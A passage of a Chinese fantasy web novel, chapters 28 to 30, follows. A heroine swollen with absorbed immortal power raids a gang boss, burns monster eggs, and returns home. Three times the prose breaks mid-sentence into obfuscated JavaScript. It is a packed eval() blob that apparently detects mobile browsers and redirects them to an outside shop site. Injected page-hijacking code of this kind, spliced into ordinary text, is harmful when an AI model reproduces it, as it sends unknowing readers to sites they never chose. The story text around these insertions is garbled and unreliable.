光团懒洋洋地“走“到我面前,打了个哈欠,“大半夜不睡,趴着做什么?“ “我、我我我感觉不对劲!好像肿了一大圈,是不是生病了!“ “……嗯,放心,你不是肿了,是——那个,胖了。” 我狼狈地瘫在地上,从未如此绝望。 因吸收了过量仙力,我像发酵的面团般胖了整整一圈,衣衫尽数崩裂。变小的焉耆驮不动我,好不容易才跟着尾巴把我拖进这个海窟。我的头发还被粗糙石壁挂住,硬生生扯断一截。 低头看着膨胀的胸脯,以及下方堆叠的肚腩,我简直无法理解——怎么会胖成这般模样! 尾巴被我捏在掌心,小心翼翼地安慰,“别急,我保证最多一年就能恢复。少吃多动,听我的准没错。“ “你这个臭尾巴,竟然套路我,你也没说我会变成这副德行!” 焉耆用鼻子轻拱我凸起的肚子,似乎很享受这柔软的触感,调整姿势又睡去了。 “其实没那么夸张,就胖了一点点......“35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549493|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “回家再跟你算账!“光是坐着说话都喘不过气。看着自己像发过头的馒头,又气又急,“还等什么?快带我回去!“ “怎么回去?“ “......让焉耆飞回去啊!“ 尾巴从我肚子跳上胸口,竟站在那对硕大的“馒头“上,“不行,它太显眼了。上古妖兽现世必会惊动仙界,你不想让人知道你仙力多了一倍吧?“ “什么?一倍?!那石钉里竟有这么多仙力?天啊,我到底能储存多少......怪不得体型也膨胀了一倍!“ “不清楚呢,你可真是天赋异禀。“尾巴的光晕带着狡黠,“我看你还能继续吸纳仙力,前途无量啊。“ 我捶了它一拳,突然发愁,“糟了......小青见到我这副模样,会不会不喜欢我了?“ “真该撬开你脑袋看看整天想什么。“尾巴缠上我胖乎乎的手臂,“要不......去试试钩星的反应?说不定他现在对你没兴趣了呢。“ “还说风凉话!讨厌!“ 我再也忍不住,放声大哭起来。尾巴捧着我的泪珠急得团团转。一直哭到天光微亮,我才抽噎着沿陡峭崖壁缓缓爬下。 这沉重如山的身体令我寸步难行,走两步就得坐下喘口气。好不容易挨到城边,路人投来的好奇目光让我心里发毛。凑到水边一照,惊得我魂飞魄散——水中的倒影陌生得可怕,简直胖得不成人形! 当务之急是买身衣裳,总不能这副模样被人当作乞丐。 “尾巴,我的包袱呢?应该还有些盘缠。“ “……焉耆,包袱哪儿去了?!“ 仰头摇尾的小黑狗睁着圆溜溜的绿眼睛,满脸天真。它早在拖拽我时弄丢了包袱却浑然不觉,此刻还围着我打转要吃的。 我气得眼前发黑——真是两个成事不足败事有余的跟班! 坐在桥洞下歇脚,思来想去,既然身无分文,不如去“讨“些回来! 船老大浩哥——对,就是他骗我买了两张高价船票! 打定主意后,我挪到码头四下张望,果然见浩哥坐在老地方等候下一个冤大头上钩。 “喂,浩哥!阿烈人呢?他动了老大的东西,赶紧交出来免得受皮肉之苦!“ “老子不知道!浩哥是浩哥,阿烈是阿烈!“ 几个五大三粗的打手立刻将浩哥围住,个个剃着光头,头顶还涂成黑色——正是黑头帮的标志。 我正悄声问尾巴对策,焉耆已冲上前对着光头们狂吠。 我拖着沉重身躯赶去,一把拎起小黑狗。 “哪儿来的肥婆?带着你的瘟狗滚远点!“ 光头举拳怒喝,下一秒却被无形之力踹进河里。围观的脚夫船工哄堂大笑。 “你……有点面熟?“浩哥惊疑不定。 我揪住他衣领目露凶光,“还钱!我要回家!“ 刃柱城因长烬海侵蚀形成独特地貌,地下海窟构成了名为“海市“的黑市,专销来路不明的货物。环琛的戒指被盗后便流落至此,被阿烈的同伙偶然买下,才引发船上风波。 这里鱼龙混杂,据浩哥说现今由黑头帮老大“施爷“掌控,摊贩交保护费便可立足——这些惯于偷摸营生的人,早已无法在阳光下生存了。 穿行巷道时,四面八方的打量目光令人不适。浩哥带我来到他的落脚处,逼仄木屋里竟有个熟面孔。 “是你?!你还活着!“ “你才是!魔皇陛下竟饶了你一命!“ 万万没想到阿烈藏在浩哥家。浩哥谨慎关门,倒了杯寡淡的粗茶,两人再度打量我,“姑娘,你吃了什么灵丹妙药,突然胖成个球?“ 我们来时阿烈正用午饭,半只鸡腿搁在碗里。饿坏了的焉耆嗅到肉香,跳上我膝盖,毫不客气地将鸡腿扒拉到面前大快朵颐。 “从哪儿弄的狗?“阿烈揉了揉焉耆圆滚滚的脑袋,“好像不是狗……是兔子?“ “阿烈你有没有常识,兔子不吃肉。” 28. 第 28 章照夜胸前有了深沟:-D “好了好了,少废话,赶紧把钱给我!我还得赶回月下州去。” “你开什么玩笑?船你也坐了,哪有半路退钱的道理!再说我这趟真是亏到姥姥家了——船被那海兽撞出个大窟窿,到现在还没修好呢!倒是你,姑娘,当时魔皇那架势分明是冲着你来的,这笔修船费,该你赔我才对!”浩哥一巴掌拍在桌上,震得茶碗哐当响,他越说越气,“还有你,阿烈!你打算在我这儿躲到什么时候?我现在已经被黑头帮盯上了,你再待下去,非把我拖下水不可!” “骗我买了高价船票,你还有脸说!魔皇的坐骑撞坏了你的船,你找他去赔啊!” “你——!” “兄弟一场,帮点小忙就唧唧歪歪。这几天哪顿酒不是我请的?现在倒跟我算起账来了!”阿烈捏得指节咔咔作响,愤愤道,“你不过就是船破了洞,我呢?我什么都没了!这才叫倒霉透顶!” “你差点把那种邪门东西带进魔界!魔皇没把你大卸八块,已经算你祖上积德了!” 说到这儿,浩哥和阿烈不约而同地沉默了片刻,仿佛又回到那个惊心动魄的夜晚。 若不是钩星及时出现,那艘小船早就被“烛”吞噬得连渣都不剩。 而那颗卵壳破裂时,浓稠液体四溅的噗嗤声,至今想起来仍叫人胃里翻腾。 “那东西……到底是什么?不是玉胚吗?” 我朝浩哥摇了摇头,只觉得裤腰带勒得喘不过气。 浩哥见我衣衫破烂,翻出他婆娘的旧衣裳,又请隔壁大婶匆忙改了几针,才勉强替我拼凑出一身能穿的。 摸着腰际和屁股上新添的赘肉,我心里又恼又涩,可事已至此,就算把尾巴绑起来抽打也无济于事。只盼着他尽快将仙力凝炼压缩,让我能恢复从前的身形。 浩哥为了修船,把仅有的积蓄都填了进去,如今一文钱恨不得掰成两半花。 阿烈被魔界驱逐,行李全数没收,还欠下一笔罚金,穷得叮当响。 昔日三个手下见他失势,也纷纷另寻出路,境遇可谓凄凉。更糟的是,他还惹上了施爷,如今只能缩在海市这间小屋里,连日光都见不得。 “你说你对魔皇有恩,他天天用琼浆玉液、山珍海味招待你,才短短时日就把自己吃成这般模样?” 焉耆不知从哪儿翻出浩哥珍藏的咸鱼,咔嚓咔嚓嚼得正香。 它和环琛指定能玩到一起。 “我的私事你就别打听了。倒是你——你真能确定,施爷的仓库里还藏着一批怪物的卵壳?” “当然!当年我和他一起挖到这些‘宝贝’——呸,这些邪物!他想独吞,我气不过,才偷了一枚逃出来。本想远走高飞,谁料到——唉!” “你们到底在哪儿挖到的?” 从阿烈断断续续的叙述中,我渐渐拼凑出关于卵壳的真相。 当年岁兽妖踏毁瘴母神的巢穴,致使地窟坍塌,连贤君祠堂也损毁大半。后来修缮祠堂时,阿烈无意中发现了一条尚未完全塌陷的甬道,便上报给施爷。 二人顺着通道摸索,找到一处隐隐泛着幽光的洞穴,挖了两日,竟起出三十多枚“玉胚”。 阿烈提出二八分账,施爷却想灭口独吞。争执间,洞穴彻底塌陷。 阿烈死里逃生,越想越不甘,趁施爷泡汤时偷走他随身携带、成色最好的一枚“玉胚”,连夜登上了前往映山都的船…… “成色最好?” “没错,就是被魔皇亲手捏碎的那一枚。当时已经能看到里面蠕动的古龙雏形了。其他的‘玉胚’都还没到这种程度。” “古龙?”我忍不住挑眉,“你们可真会想象,那明显是条恶心巴拉的蠕虫吧?” 阿烈挠了挠头,长叹一声,“被你这么一说,倒真像是条虫子……罢了罢了,反正不是什么好东西。现在白送给我,我也不敢要了。” 我抱着手臂,只觉得一阵头痛。 明明事情都已了结,本该回家去找小青,却被这莫名其妙的麻烦绊住了脚。如今身无分文,别说购买万界门的卷轴,就连雇一匹马回家的钱都凑不出。 漂泊在外,方知一文钱难倒英雄汉的滋味。 准备歇息时,阿烈把房间让给了我,自己另寻角落躲着。 我把尾巴倒出来,想听听他有什么高见,谁知他全然不着急,反倒悠悠提醒我,青莲至今没来找我,说明他根本不知道我去了映山都——这意味着他这段时间也没回家,而宋莹或人君舒仲压根没把我出远门的消息告诉他。 “气死我了,尾巴!等我回去非要给他们点颜色看看!” “……你有什么好气的?这趟出门简直赚翻了好吗!不仅吸纳了那么多仙力,还收服了可能是世间仅存的曳石兽!那可是上古妖兽,说不定——还是太初僊的坐骑呢。” “说到这个,尾巴。”我躺在那硬得硌人的木板床上,回想起熠石钉中的铭文,轻声问道,“你看到那段文字了吗?” 听完我的描述,尾巴一跃跳到我胸口,幻化出两只光团似的小脚,在我胸脯上踩来踩去,“你确定不是幻觉?会不会是从哪本神话传说里看来的桥段?” “……算了,这事以后再说。眼下最要紧的是怎么尽快回去。” “说的也是,万一钩星回过味儿来翻脸,指定要你好看!” “哎,怎么有种做贼心虚的感觉……罢了,一不做二不休!”我猛地坐起身,发狠道,“既然没钱,就从施爷身上抢!顺便把剩下的卵壳全烧成灰!” 低头一看,尾巴正卡在我胸前的深沟里惬意地左右磨蹭,软成一滩光晕,“我都听你的,全听你的~” “你干什么?下流!” “又软又暖,躺着真舒服。” 懒得再搭理这没正形的尾巴,我把他塞回瓶子里,又拎起还在翻找吃食的焉耆,找到正为自己处境发愁的阿烈,说出了我的计划。 他难以置信地瞪着我,上下打量了七八遍,迟疑道,“你会用仙力?不然可打不过施爷的手下,他那儿养着不少仙徒呢。” “当然打得过。你现在闲着也是闲着,先去帮我打听万界门卷轴的价钱。” 阿烈张大了嘴,“钱还没着落就开始盘算着买东买西了?也罢,我这就去帮你问问。” 我正琢磨着如何潜入施爷的据点,运气就又来了——当夜,阿烈慌慌张张地跑来告诉我,浩哥因白天戏弄施爷的手下致其落水,被施爷的人抓走了。 我抚掌而笑,这机会来得好不如来得巧!当即招呼阿烈,“走,咱们去会会这个施爷!” 只在浩哥屋里翻出一把锈迹斑斑的菜刀,阿烈便揣着赴死的决心,满腔悲愤地要领我去寻仇。 我们摸黑来到海市高处一座地下土丘,施爷的窝点就藏在此处。院坝里灯火通明,五六十个凶神恶煞的打手虎视眈眈地盯着我们。 穿过空旷的坝子,我终于见到了传闻中的施爷。 “阿烈,你这是从哪个穷乡僻壤扒拉来个胖妞当救兵?哈哈哈哈!“ 众人跟着施爷的哄笑声此起彼伏。见我脚边还跟着只黑狗,施爷又啐了一口,“老子最烦狗!正好,今晚的宵夜就吃红烧狗肉!“ 我厉声喝道,“尾巴!“ 霎时间,金光迸发,仙力凝成的巨尾如狂风般扫向尚未反应过来的打手们。 紧接着,一条尾巴分裂成两条、四条、八条,宛如无数巨掌,以雷霆之势将涌上来的黑头帮众掀翻在地。几个会使仙力的刚凝出兵器,那点微末仙力就被尾巴生生扯碎吞噬掉了。 施爷见势不妙,在贴身护卫的簇拥下仓皇逃向后院。 我一跺脚,“焉耆,上!“ 墨色身影如离弦之箭蹿出,紧追不舍。阿烈举着菜刀,望着横七竖八倒地呻吟的众人,一时没回过神来。 我如今稍一活动就汗流浃背,赶到后院时早已不见人影。 尾巴轻搭在我耳畔,仔细嗅了嗅,指向一口枯井,“那里,有密道!“ 阿烈这时总算明白过来,知晓我并非一般人,顿时信心倍增。 他率先跃入井中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549494|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仰头喊道,“大姐!您慢慢下,我接着!“ 事实证明阿烈啥也不是。 我纵身跳下,一屁股坐在他身上,险些把他压得背过气去。 我扶着井壁起身时,阿烈已浑身湿透,龇牙咧嘴地揉着胸口,“老天爷,大姐您这一身富贵肉,可真真是重于泰山啊......“ 这是口尚未完全干涸的废井,涓涓细流指引着前路。 我也懒得纠正他的称呼,只担心焉耆饥不择食吃坏肚子。墨色痕迹沿着暗河蔓延,在错综复杂的地窟中为我们指明方向。 不祥的预感渐渐涌上我心头,恍惚间又回到与钩星坠入瘴母神巢穴的那日。 在地窟中摸索半晌,终于听见两声犬吠。 钻出狭窄通道,只见几个打手抱着流血的小腿哀嚎不止。焉耆将主犯施爷逼到角落,而他身后的岩壁上,赫然镶嵌着三四十枚黄绿色的卵壳,整齐得令人毛骨悚然。 “大爷饶命!仙人饶命!小人有眼无珠......“施爷涕泪横流地求饶。 “你也有今天!“阿烈新仇旧恨涌上心头,揪住施爷就是十几个耳光,直打得对方鼻青脸肿。 我把焉耆抱起来,仔细检查了它的口齿,一股子臭咸鱼味直冲脑门,差点熏得我吐出来。 “尾巴,如何?” 将那些尚未活化的卵壳观察了一番,尾巴低声道,“万幸,只是些仍在沉睡的胚胎,运气不错。” 我拽住还在对施爷拳打脚踢的阿烈,让这个满嘴淌血的家伙老实交代。 原来施爷独占这些“玉胚”后,本打算一部分倒卖换钱,另一部分进献给月下州的达官贵人——包括他那位官拜太师的叔叔施铎。 谁知某日突然来了个自称“秽道人”的修行者,给他出了个主意,将这些玉胚置于阴阳交汇、湿润温暖之处培育,方能蕴养成色上乘的玉胚,早日催生其中的古龙。 施爷这才在海市下方寻到这处风水宝地,暗中培育玉胚。 “秽道人?是个道士?” 已被揍得晕头转向的施爷,畏缩地偷瞄着我魁梧的身形,战战兢兢地回忆起来人的模样。 那是在我离开映山都不久后的事。 因长烬海再度化作巨湖,魔界连日阴雨,刃柱城也未能幸免。 某个雨夜,施爷与手下畅饮后踉跄归家,忽见贤君祠大门虚掩。他疑心有人发现了藏匿玉胚的密洞,当即带着手下前去查看。 寂静的祠堂里只有昏昏欲睡的守门人,循着小径来到正堂,只见一个身着灰衣的颀长身影静立在贤君刻像前。 施爷厉声喝问来者何人。 那人生得一副平静淡泊的容貌,宽大衣衫不见半分褶皱,墨色长发如寒潭深水,被一支素白玉簪一丝不苟地束在头顶。 最慑人的是那双眼睛——眸色深得近乎全黑,沉静如古井寒渊,眼底凝着能凿穿金石般的冰冷洞察力,毫无情感,令人望之如坠冰窟,神魂皆颤。 “后来呢?”我追问道。 施爷继续绘声绘色地描述着那夜情景。 这自称秽道人的男子只建议将玉胚置于地底吸收灵气,便飘然离去,再未现身。不知为何,施爷对此人的话深信不疑,认定这是位云游至此的得道仙人,既得仙人指点,断不会错。 这突然冒出的秽道人显然知晓内情,他是故意诱导施爷将怪物胚胎埋入地底。 联想到六年前真真的所作所为,可见民间早有百姓信奉此等邪物,这秽道人恐怕就是信徒之一。 “阿烈,全烧了。” “好嘞大姐!” 施爷与其手下不过是一群色厉内荏的草包,若非仗着姓施的权势,早被刃柱城的各路帮派收拾了。 令人作呕的腥臭随火焰升腾弥漫,我让阿烈和焉耆看管其余人,自己还要单独审问这个姓施的黑头佬。 一提起熠石,施爷眼神骤变,支支吾吾不肯多言。 而这反应恰恰印证了我的猜测,熠石确实被人截留了,而幕后主使正是太师施铎。 29. 第 29 章尾巴为何会有“屁股”? 整件事处处透着诡异。 太师施铎提议人君向魔界购买熠石,却在战局逆转时私下截流,企图操控玉山战事的走向——他究竟意欲何为?若我此行未能说服钩星私下向玉山守军供给熠石,后果会如何? 再往前想,那些千方百计将我与穆青分开、企图将我困在魔界的举动……幕后之人早算准钩星不会轻易放我离开。 在他的计划中,我本该一颗熠石都带不回,更会被魔皇扣下,无法与穆青会合。 这两件事看似不相干,却都指向同一个目标,玉山。 有人不愿看到黑羽军推进。 换句话说,那人希望战事僵持——既不至于溃败,也不愿见我们取胜。 为什么?究竟是谁在幕后操纵这一切? 首先可以排除舒岸。 他性格刚正、心怀仁慈,是位体恤将士的统帅,绝不可能策划如此阴险的计谋。 难道真是施铎?他通过宋莹与仙界势力勾结,欺瞒人君,企图将战事维持在一个微妙的平衡点上。 如此一来,人界便将持续有求于仙界。当压力积累到极限,人君或许最终会选择与仙界结盟,共同遏制正在飞速崛起的魔族。 不知为何,在这湿热沉闷的地窟中,当我将整件事串联起来时,脑海中第一个浮现的,竟是那个曾在我面前不经意展露出一身结实肌肉的身影。 渊寂上仙……会是他吗? 尚无确凿证据,但不妨推测他的动机,若能与人间结盟,解决玉山危机,必将赢得空前支持与声望,从而问鼎仙帝之位? 可他不是即将继任仙帝了吗?此举是否多此一举? “喂!喂!”见我陷入沉思,尾巴使劲拽着我的头发,还用那小拳头不停敲打我的嘴唇——不疼,反倒有些痒,“焉耆问,那些人能不能吃。” “不能吃!”我猛地回神,冲上前将焉耆搂进怀里。它舔舔鼻子,乖巧地趴下。“乱吃东西会拉肚子,我可不想给你擦屁股。” “它刚离巢紧张,才总想啃点东西。”尾巴跳上焉耆的脑袋,“咱们该走了吧?” “瞧我这记性,最要紧的事差点忘了!” 我踱步到施爷面前。 许是被我的气势所慑,又或是惧怕会吃人的焉耆,他慌忙磕头求饶——毕竟这地窟实在是个“杀人灭口”的好地方。 “给我十五万利衡币,买你这条命。” “没问题!多谢仙人不杀之恩!” 于是短短两日内,我竟成了刃柱城臭名昭著的黑头帮座上宾,这滋味着实有些微妙。 此刻我端坐于宽大威严的主座,等候黑头帮将浩哥客客气气地请出来。 当鼻青脸肿的船老大满腹疑惑地现身时,若不是阿烈神气十足地立在我身旁,他几乎要以为我才是黑头帮的老大了。 事情告一段落,施爷的价值已被我榨干,剩下的最后一件事便是分赃。 浩哥劫后余生,喜不自胜,特意买来刃柱城最好的酒,要与我和阿烈不醉不归。 酒过三巡,我将所得钱财均分三份,另取三万购置万界门卷轴,最后将两万利衡币揣入怀中。 看着眼前两个已有七分醉意的男人泪眼朦胧,我正色道,“万界门市价三万,多一分都没有。” “照夜大姐,您真是太仗义了!这卷轴就算我们兄弟送您的!”浩哥拍着胸脯道。 “好吧,你们确实该谢谢我。”我迅速将钱收好,提醒道,“不过你们还是尽早离开刃柱城为妙。施爷那等人,可不是会真心悔改的善茬。” 浩哥神情颓唐地灌下一大口酒,“我们这种在地下混久了的人,又能去哪儿呢?见到阳光都会觉得胆怯。” 阿烈闻言抹了把泪,扯下鸡腿喂给等候多时的焉耆,随后索性将这小家伙抱在怀里任它大快朵颐,“是啊,我们这些在阴沟里讨生活的,哪还配站在阳光下。” 我全无食欲,酒兴也不高。腰间那一圈赘肉无时无刻不在提醒我要节制饮食,否则恢复原样怕是遥遥无期。 “去参军吧。我认识舒岸大将军,若你们愿意重新站在阳光下,我可以去疏通关系,请他收留你们。” 二人闻言大惊,随即喜极而泣,竟要向我行跪拜大礼。 舒岸是他们心中的英雄,能追随崇拜的大将军征战沙场,是多少男儿梦寐以求的归宿。 这一夜,浩哥与阿烈醉得不省人事,与吃饱喝足的焉耆相拥而眠。 我躺在床上心绪难平,毫无睡意。尾巴知道我在思念小青,安静地陪在身旁。 “你在想什么?” “你是我的尾巴,难道不知道我在想什么?” “想男人,想昨天,想未来。” “哈哈,说得对。我在想那个男人,在想比昨天更遥远的过去,在想比未来更近的明天。” “你放心,青莲没事。”尾巴躺在我摊开的掌心上,有些犯困地咕哝着,“别问为什么,我就是知道。” 我将尾巴轻轻拥入怀中,会心一笑,“不知为何,有你在身边,我就觉得特别安心。” “那当然,遇上我你就偷着乐吧。好运的照夜,睡吧。” 秋日天高气爽,百木凋零,风吹落叶沙沙作响。 刃柱城郊外,浩哥哼哧哼哧地拖着几口大箱子,刀疤阿烈在一旁笑他恨不得把那艘破船也一并带上。 “有备无患嘛,万一用得上呢。” 阿烈探头往箱子里一看,举起一把卷了刃的菜刀打趣道,“你这是打算去前线当厨子?” 浩哥一把夺过菜刀,小心翼翼地放回原处,“小心点,这可是丽娘留给我的宝贝。” 阿烈抱着胳膊翻了个白眼,“你婆娘都跑了八年了,还指望她回来?她早就抛下你去享受荣华富贵了——人家不爱吃你那腌咸鱼!” 一提到丽娘,浩哥神色顿时黯淡,却仍带着几分不甘,“腌咸鱼怎么了?你看这小狗儿吃得多香。天冷时喝上一碗咸鱼粥,那滋味,给我当仙人我都不换。” 焉耆每天眼睛一睁,不是在吃饭就是在觅食的路上。临行前,浩哥舍不得他那堆臭烘烘的咸鱼,见焉耆喜欢便一股脑全喂了它,直把这小黑狗腌得从里到外透着一股腥咸。 “行了行了,都准备好就出发吧!开万界门!” “好嘞,就等大姐您发话!出发——” 还没等浩哥把他那些家当搬完,万界门便倏然闭合。他捶胸顿足的模样,不知情的还真当落下了什么稀世珍宝。 路上闲聊时,我听说了浩哥与他娘子丽娘的往事。 原来浩哥虽在水边长大,又从父亲那儿继承了那艘破船,却和我一样是个旱鸭子——会开船,却不会游水。丽娘嫌他穷,在一个清晨出门买菜后便再未归来。 虽偶有人说在月下州见过她,可浩哥不知是出于自卑还是怨愤,从未动身去寻找。 听到这儿我不禁抹了把冷汗——当初竟糊里糊涂上了条“黑船”,还指望出事时船老大能救我,谁知他自个儿都是个旱鸭子! 还好那晚钩星闻着我的味儿,哦不,闻着自己的味儿来了,不然还真是会出大事。 一个时辰后,我终于回到了月下州。 虽秋雨绵绵,心中却雀跃不已——细算下来,我竟已离开了一个多月。 拖着这身“丰硕”的成果回到家门,正撞见朝明从屋里出来。 他扫了我一眼,低头就要绕行,“不好意思,不卖纤体丹。” “……哈哈哈,笑死我了!”尾巴闻言放声大笑,被我一把拍散。 “大姐,我们暂时住您这儿?”阿烈探头问道。 朝明这才注意到阿烈和浩哥,愣了片刻后突然瞪大眼睛,将我上下仔细打量,“天啊,照夜姐姐!你、你这是怎么了?怎么——肿成这样!” 家中不如往日嘈杂拥挤,朝明虽有事在身,还是利落地收拾出一间屋子安顿这两个糙汉。 而我则有更要紧的事——沐浴。 在浴池中洗去一身咸鱼味,我把自己狠狠浸在花香四溢的热水里,顺带将焉耆里里外外搓洗了一遍。 这小家伙对花香过敏,喷嚏连连地挣扎不休。 尾巴悠哉地漂在水面上,慢条斯理道,“它吃咸鱼本是为了用臭味掩盖自身气息,你倒好,全给它洗掉了。” 墨色几乎染黑了整池水,我只好放焉耆一条生路。它立刻窜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549495|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出去,拼命甩动身子想摆脱这身花香。 “用香味掩盖不也一样?” “……有点道理。可惜焉耆不懂,它很笨。” “罢了罢了,只要不吃粑粑就行。” 尾巴忽然沉默了。它游到我身边,坏笑一声,“这可不好说……饿急了,就算是仙帝的屁股,它也敢上去啃一口!” 我猛地想起一事,惊慌地抓起尾巴猛晃,“天呐!那晚我没盯住它,该不会把瘴母神的卵壳吃下去了吧?!” “吃就吃了,别紧张——也别晃我了!” “这叫什么话?吃下去还得了?” 尾巴缠绕在我身上,光团幻作水滴,顺着我的胸口滑落池中。说来也怪,焉耆身上的墨色并非真墨,若细看,那其实是流动的黑色光晕。 “回想一下你被岁兽妖吞下时的感受。” 当时一切发生得太快,我只记得坠入一片温热水域,望见仙丹旋转凝聚的金光,紧接着身体便开始碎裂,甚至清晰地看见了自己的白骨…… “不疼吗?” “只有一点点……更多的是温暖。” 尾巴难以置信地昂起顶端的光团,语气中满是惊讶,“那可是岁兽妖腹中浓缩了仙力的毒液!常人沾上一点都要痛不欲生,你都快被腐蚀成枯骨了,居然只觉得温暖?” “或许是因为痛到极致,感知已经麻木了吧。” “所以说,就算焉耆真把那些胚胎吞下去也无妨——它的胃液足以将其彻底溶解。” “那就好……”我松了口气,“这么看来,这些怪物在胚胎期其实相当脆弱。若不是靠着诡异的繁殖方式与速度,倒也没那么可怕。” 尾巴贴心地在我背上滚动,这光团虽无实体,却能恰到好处地施力给我按摩,“聪明的照夜,你说得对。怪物亦是生灵,是生灵就需要汲取能量——无论是食物、仙力、咸鱼,甚至……粑粑。本质上,人、仙、魔,乃至怪物,并无太大区别。” “……你该不会也是怪物吧?把我给寄生了?”我一把将尾巴拽到面前,捏着那团光质紧盯,“听着,我不在乎什么大道理。我只知道必须以消灭怪物为先——凡是靠掠食与杀戮存续的生灵,我都不想理解它们的立场。因为我是凡人,我要为人争取活下去的机会。” 漫长的沉默后,尾巴幽幽道,“虽然无关紧要……但你现在盯着的是我的屁股,不是头。” “讨厌!下流!” 我舒舒服服地泡了个热水澡,有尾巴在完全不必担心水温——如今仙力充沛到满溢,维持这点热度简直不费吹灰之力。 我甚至突发奇想,或许能用这本事开间汤池,既能赚钱又能消耗仙力。 但眼下还有更迫切的难题。 望着镜中判若两人的身形,憋了许久的泪水几乎要夺眶而出。怎能胖成这样?瓜子脸圆润如满月,胸前沉甸甸地坠着两团,腰腹软肉层层,连手脚都圆润了一圈。 试穿半天,竟没有一件衣裳合身,连小青的衣物都勉强。 折腾半个时辰后,我气喘吁吁跌坐床沿,气得头晕眼花。 尾巴早悄悄缩回瓶中——它多虑了,我向来不是迁怒于人的性子。既然自愿吸纳仙力化解熠石危机,付出这般代价我也认了。 当务之急是请朝明帮我弄身能穿的衣裳,总不能赤身裸体地出门。 朝明显然还没弄明白我这般巨变的缘由——寻常人便是胡吃海塞,也不可能一月之间“脱胎换骨”。他替我采买衣物时,顺道将这事禀报了舒岸。 这不,我刚勉强套上衣衫,舒岸便策马赶到门前。 正在院中闲聊的浩哥与阿烈,头一回见到敬仰已久的大将军,被那凛冽的武将气势慑得膝盖发软,连呼吸都放轻了。 “照夜!你可是病了?还是受伤了?莫非魔皇苛待于你?!”舒岸抓着我的肩头,惊愕地将我从头到脚打量数遍,声音发颤,“还是说……单纯是长胖了?” 浩哥与阿烈连忙解释,“大姐头只是在映山都吃胖了些!听说魔皇天天琼浆玉肴地招待,一时没把持住……不过也挺好的,之前匀称有匀称的动人,现在富态有富态的贵气。依旧气质不凡,风姿绰约!” 30. 第 30 章 照夜惨遭不愁行暗算 舒岸皱眉审视着二人,那不怒自威的气势着实慑人,“这二位是?” “是我从刃柱城带回来的朋友,为人真诚,也有些身手。想着玉山正值用人之际,就带他们来大将军麾下谋个差事。”我连忙解释,“您放心,都是在泥泞里摸爬滚打过的人,身子骨硬朗,上了战场定能很快适应。” 朝明会意,立即领着浩哥和阿烈先行退下。 这两位“朋友”在我家待了不到半日,便有了归宿。二人喜形于色,乐呵呵地跟着朝明离去时,还不忘回头向我挥手作别。 小院重归宁静,舒岸的眉头却仍未舒展。待我为他斟茶时,他不放心地又问了一遍,“当真没有生病?” “真的没有,就是一时贪嘴……” 舒岸面露倦色,揉着眉心放缓了嗓音,“棠梨临终前也生了场大病,全身浮肿,却骗我说只是长胖了。”说着他的目光落在我赤裸的双脚上,“后来肿得连鞋都穿不上,其实那时她已病入膏肓。” “我真不是生病,这身肉结实着呢。”我急忙拉起舒岸粗糙的手掌按在胳膊上,“朝明没买到合脚的鞋,还得劳烦大将军再帮我张罗些。这副模样,我实在出不了门。” 舒岸的手在我臂上轻轻捏了两下,眼中掠过一丝困惑,随即吩咐侍从去置办衣物鞋履。 等候的间隙,我们聊起近况。 迩松已将首批熠石顺利送达北祐将军手中,黑羽军的燃眉之急暂得缓解。令我意外的是,舒岸竟还留在月下州。 他面露难色——既想确认我平安归来后再赴前线,又因兄长坚持要他完婚后方可启程而苦恼。 这些日子,他为躲避催婚常隐于林中修炼,虽仍未能随心驾驭仙力打水漂,但对风之流动的感知却精进不少。 “后面再没得到青莲的消息,萤火仙人前些日子先行返回了灵璧城,大典临近仙界会再另派使者前来。” 我心中天人交战,终是没敢将关于玉山之祸的推测贸然相告,决意等穆青归来再从长计议。 新买的鞋履送到,试穿时虽觉有些紧,也只能暂且将就。 暮色渐临,舒岸起身道,“照夜,我去练功了。” “好。” 他行至门边又折返回来,神色诚恳,“不如随我一同活动活动?你素日懒散,能卧不坐,长此以往更难恢复。若青莲回来见你变化这般大,怕是要怪我照顾不周。” “不会的,小青脾气很好。” “他临行前托我照看你,是我失职。”舒岸语气低沉,“对不住,照夜。” 见舒岸神情凝重,我也不好再推辞。 其实我一直不太擅长应对复杂的人际往来,这也是为何过去几十年都宁愿躲在青莲山中,很少外出。 骑在马上,不由想起初识赤羽时的光景。 起初他只是来找穆青切磋——穆青向来来者不拒,哪怕正值饭点,也会立刻放下碗筷陪他过招。 一个月圆之夜,硕大的明月高悬墨空,两人酣畅淋漓打了一场后,赤羽见我坐在大石上独酌,便讨了一杯酒,问出了那个困扰他许久的问题, 照夜,为何每次我来,你都会在一旁观战?有时还会喝着酒,兴致勃勃的样子? 这问题着实奇怪。 